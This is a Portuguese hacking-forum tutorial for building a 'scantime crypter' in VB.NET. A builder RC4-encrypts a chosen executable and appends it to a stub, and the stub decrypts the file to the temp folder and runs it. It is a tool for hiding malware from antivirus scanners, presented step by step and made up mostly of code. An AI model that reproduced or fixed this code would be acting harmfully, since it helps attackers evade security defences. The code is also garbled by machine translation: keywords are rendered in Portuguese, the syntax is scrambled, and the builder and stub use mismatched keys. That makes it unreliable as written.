Como criar um Crypter Scantime

[VB.NET] RC4 [TUT] 

Como criar um Crypter Scantime!
==================================

Tutorial de D34TH/DRAKE
==================================


O que você precisa:

* Visual Basic 2008
* Textbox1
* Button1
* Button2


O Construtor


Passo 1
Altere o texto do Button1 para "Procurar"

Altere o texto do Button2 para "Crypt"
Passo 2

Coloque acima Public Class Form1:

Código:

Importações System.Text

Agora, colocar sob Public Class Form1:

Código:

FileSplit Const = "@ @ HACKRULES"

Alterar "HACKRULES" para que cada vez que você gosta.


Etapa 3

Clique duas vezes no Button1 e colocar este código:

Código:

Dim openf As New OpenFileDialog
        Se Windows.Forms.DialogResult.OK openf.ShowDialog = Em seguida,
            TextBox1.Text = openf.FileName
        Else: Exit Sub
        End If

Isso permitirá que você navegue e selecione o arquivo que você deseja cripta.

Etapa 4

Dê um duplo clique Button2, e inserir o código:

Código:

Dim filein, filename, stub As String
        Dim lol Como SaveFileDialog Nova
        Se Windows.Forms.DialogResult.OK lol.ShowDialog = Em seguida,
            filename = lol.FileName
        Else: Exit Sub
        End If
        FileOpen (1, TextBox1.Text, OpenAccess.Read, OpenMode.Binary, OpenShare.Default)
        filein = Space (LOF) (1)
        FileGet (1, filein)
        FileClose (1)
        FileOpen (1, Application.StartupPath & "\ Stub.exe", OpenMode.Binary, OpenAccess.Read OpenShare.Default)
        stub = Space (LOF) (1)
        FileGet (1, stub)
        FileClose (1)
        FileOpen (1, arquivo, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut (1, esboço & FileSplit & RC4 (filein ", HACKRULES"))
        FileClose (1)
        MsgBox ("Crypted!")
        Me.Close ()

Este código vai abrir o rascunho e fazer o seu arquivo criptografado.

Etapa 5

Coloque esse código em algum lugar do construtor, mas não em um submarino.

Código:

Public Shared Function RC4 (ByVal mensagem As String, ByVal senha As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim As New StringBuilder cifra
        Dim returnCipher As String = String
        Dim SBOX As Integer () = New Integer (256) {}
        Dim-chave As Integer () = New Integer (256) {}
        As Integer Dim intLength password.Length =
        Dim um número inteiro como = 0
        Enquanto a <= 255
            Dim CTMP como Char = (password.Substring ((a intLength Mod), 1). ToCharArray () (0))
            chave (a) = Microsoft.VisualBasic.Strings.Asc (CTMP)
            SBOX (a) = a
            System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
        End While
        Integer Dim x As = 0
        Dim b As Integer = 0
        Enquanto b <= 255
            x = (x SBOX + (b) a chave + (b)) Mod 256
            As Integer Dim tempSwap SBOX = (b)
            SBOX (b) SBOX = (x)
            SBOX (x) = tempSwap
            System.Math.Max (System.Threading.Interlocked.Increment (b), b - 1)
        End While
        a = 1
        Enquanto a <= message.Length
            Dim iTMP As Integer = 0
            i = (i + 1) Mod 256
            j = (SBOX + j (i)) Mod 256
            iTMP = SBOX (i)
            SBOX (i) = SBOX (j)
            SBOX (j) = iTMP
            Dim k As Integer SBOX = ((SBOX (i) + SBOX (j)) Mod 256)
            Dim CTMP como Char message.Substring = (a - 1, 1) ToCharArray () (0).
            iTMP = Asc (CTMP)
            Dim cipherby As Integer = k iTMP Xor
            cipher.Append (cipherby Chr ())
            System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        returnCipher Retorno
    End Function

Este código é a criptografia RC4. Existem muitos outros tipos de criptografia, mas eu estou usando para este tutorial.

Agora, se o construtor não tem erros, vamos agora criar o topo.

O Stub

Passo 1

Coloque acima Public Class Form1:

Código:

Importações System.Text

Agora, colocar sob Public Class Form1:

Código:

FileSplit Const = "@ @ HACKRULES"

Certifique-se que o que você colocar entre:

Código:

"@ @"

é o mesmo que no construtor. Caso contrário, ele vai trabalhar.

Passo 2

Inset em Private Sub Form1_Load:

Código:

On Error Resume Next
        Dim TPath As String = System.IO.Path.GetTempPath
        Dim file1, filezb4 (), filezafter As String
        FileOpen (1, Application.ExecutablePath, OpenAccess.Read, OpenMode.Binary, OpenShare.Shared)
        file1 = Space (LOF) (1)
        FileGet (1, arquivo1)
        FileClose (1)
        filezb4 = Split (arquivo1, FileSplit)
        filezafter = RC4 (filezb4 (1), "sonixisthebest")
        FileOpen (5, TPath & "\ Crypted.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut (5, filezafter)
        FileClose (5)
        System.Diagnostics.Process.Start (TPath & "\ Crypted.exe")
        Me.Close ()
        Fim

Esta será uma parte do que torna a sua scantime arquivo.

Etapa 3

Mais uma vez, precisamos adicionar a função RC4:

Código:

Public Shared Function RC4 (ByVal mensagem As String, ByVal senha As String) As String
        Dim i As Integer = 0
        Dim j As Integer = 0
        Dim As New StringBuilder cifra
        Dim returnCipher As String = String
        Dim SBOX As Integer () = New Integer (256) {}
        Dim-chave As Integer () = New Integer (256) {}
        As Integer Dim intLength password.Length =
        Dim um número inteiro como = 0
        Enquanto a <= 255
            Dim CTMP como Char = (password.Substring ((a intLength Mod), 1). ToCharArray () (0))
            chave (a) = Microsoft.VisualBasic.Strings.Asc (CTMP)
            SBOX (a) = a
            System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
        End While
        Integer Dim x As = 0
        Dim b As Integer = 0
        Enquanto b <= 255
            x = (x SBOX + (b) a chave + (b)) Mod 256
            As Integer Dim tempSwap SBOX = (b)
            SBOX (b) SBOX = (x)
            SBOX (x) = tempSwap
            System.Math.Max (System.Threading.Interlocked.Increment (b), b - 1)
        End While
        a = 1
        Enquanto a <= message.Length
            Dim iTMP As Integer = 0
            i = (i + 1) Mod 256
            j = (SBOX + j (i)) Mod 256
            iTMP = SBOX (i)
            SBOX (i) = SBOX (j)
            SBOX (j) = iTMP
            Dim k As Integer SBOX = ((SBOX (i) + SBOX (j)) Mod 256)
            Dim CTMP como Char message.Substring = (a - 1, 1) ToCharArray () (0).
            iTMP = Asc (CTMP)
            Dim cipherby As Integer = k iTMP Xor
            cipher.Append (cipherby Chr ())
            System.Math.Max (System.Threading.Interlocked.Increment (a), a - 1)
        End While
        returnCipher = cipher.ToString
        cipher.Length = 0
        returnCipher Retorno
    End Function

Coloque-o em qualquer lugar, mas não em um submarino.